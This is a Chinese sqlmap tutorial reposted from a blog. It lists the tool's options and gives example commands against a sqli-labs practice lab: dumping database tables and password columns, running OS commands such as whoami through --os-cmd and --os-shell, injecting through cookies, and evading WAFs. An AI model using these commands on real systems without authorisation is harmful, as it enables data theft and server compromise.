sqlmap常规命令教程

参考了网络很多大神文章,简单小结一下,仅供参考
sqlmap -hh 详细帮助命令
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
--delay  有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--safe-url   有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--tamper  语法:--tamper ["脚本名称"],当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap/tamper 文件夹中
-level  level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
–-os-cmd=["命令"] 或 --os-shell=["命令"] 执行系统命令
--os-cmd=whoami  利用sql-labs-less1测试 whoami 命令,sqlmap -u "http://192.168.1.130/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

get型的方法,常规注入sqlmap -u http://192.168.1.130/sqli-labs-master/Less-1/?id=1
sqlmap -u "URL" //测试是否存在注入
sqlmap -u "URL" -current-db //查询当前数据库
sqlmap -u "URL" -D "数据库名" --tables //查询当前数据库中的所有表
sqlmap -u "URL" -D "数据库名" -T "表名" --columns //查询指定库中指定表的所有列(字段)
sqlmap -u "URL" -D "数据库名" -T "表名" -C "列名" --dump //打印出指定库中指定表指定列中的字段内容
post型的方法
sqlmap -r "请求头文本"  //测试是否存在注入                         
sqlmap -r "请求头文本" --current-db //查询当前数据库
sqlmap -r "请求头文本" -D "数据库名" --tables //查询当前数据库的所有表
sqlmap -r "请求头文本" -D "数据库名" -T "表名" --columns //查询指定库指定表的所有列
sqlmap -r "请求头文本" -D "数据库名" -T "表名" -C "列名" --dump //打印出指定库指定表指定列的所有字段内容 
post型的方法:先使用burpsuit把提交的数据包保存下来(burpsuit打开代理,截获数据包或者勾选log保存
语法:sqlmap -r ["请求包的txt文件"],sqlmap -r "/root/.sqlmap/post.txt"
获取当前数据库名称,语法:sqlmap -u “url” --current-db,实例:sqlmap -u "http://192.168.1.130/sqli-labs-master/Less-1/?id=1" --current-db
获取指定数据库的表名:语法:sqlmap -u “url” -D ‘数据库名’ --tables,实例:sqlmap -u "192.168.1.130/sqli-labs-master/Less-1/?id=1" -D security --tables
获取指定数据库指定表中的字段:语法:sqlmap -u “url” -D ‘数据库名’ -T‘表名’ --columns,实例:sqlmap -u "192.168.1.130/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
获取指定数据库指定表的指定字段的字段内容:法:sqlmap -u “url” -D ‘数据库名’ -T ‘表名’ -C ‘字段名1,字段名2,…’ --dump,实例:sqlmap -u "192.168.1.130/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump
cookie信息注入,Header injection -Cookie,语法:sqlmap -u “url” --cookie "cookie信息" --level 2 案例:sqlmap -u "http://192.168.1.130/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2


 

猜你喜欢

转载自blog.csdn.net/weixin_44212888/article/details/114275393